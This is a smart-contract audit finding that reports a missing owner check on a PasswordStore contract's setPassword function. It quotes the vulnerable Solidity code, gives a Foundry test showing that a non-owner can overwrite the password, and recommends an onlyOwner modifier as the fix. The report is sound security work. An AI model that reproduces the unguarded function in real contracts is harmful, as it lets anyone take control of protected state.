Summary
An important function for setting a password which should only be allowed for the owner is missing access control so anyone can change the password.
Vulnerability Details
* @notice This function allows only the owner to set a new password.
* @param newPassword The new password to set.
*/
function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}
Impact
Changing sensitive information like a password for another user should not be possible.
Tools Used
Manual Review
POC
Coded POC to be added after imports in test file:
contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
address public owner;
address public random;
function setUp() public {
deployer = new DeployPasswordStore();
passwordStore = deployer.run();
owner = msg.sender;
random = address(0);
}
function test_non_owner_can_set_password() public {
vm.startPrank(owner);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
vm.startPrank(random);
string memory maliciousPassword = "maliciousPassword";
passwordStore.setPassword(maliciousPassword);
vm.startPrank(owner);
assertEq(passwordStore.getPassword(), expectedPassword);
}
}
The assertion fails, which proves that the 2 strings are not equal, thus we can set a new password from any arbitrary address.
Recommendations
modifier onlyOwner() {
require(msg.sender == s_owner, "Not Owner");
_;
}
+ function setPassword(string memory newPassword) external onlyOwner {
s_password = newPassword;
emit SetNetPassword();
}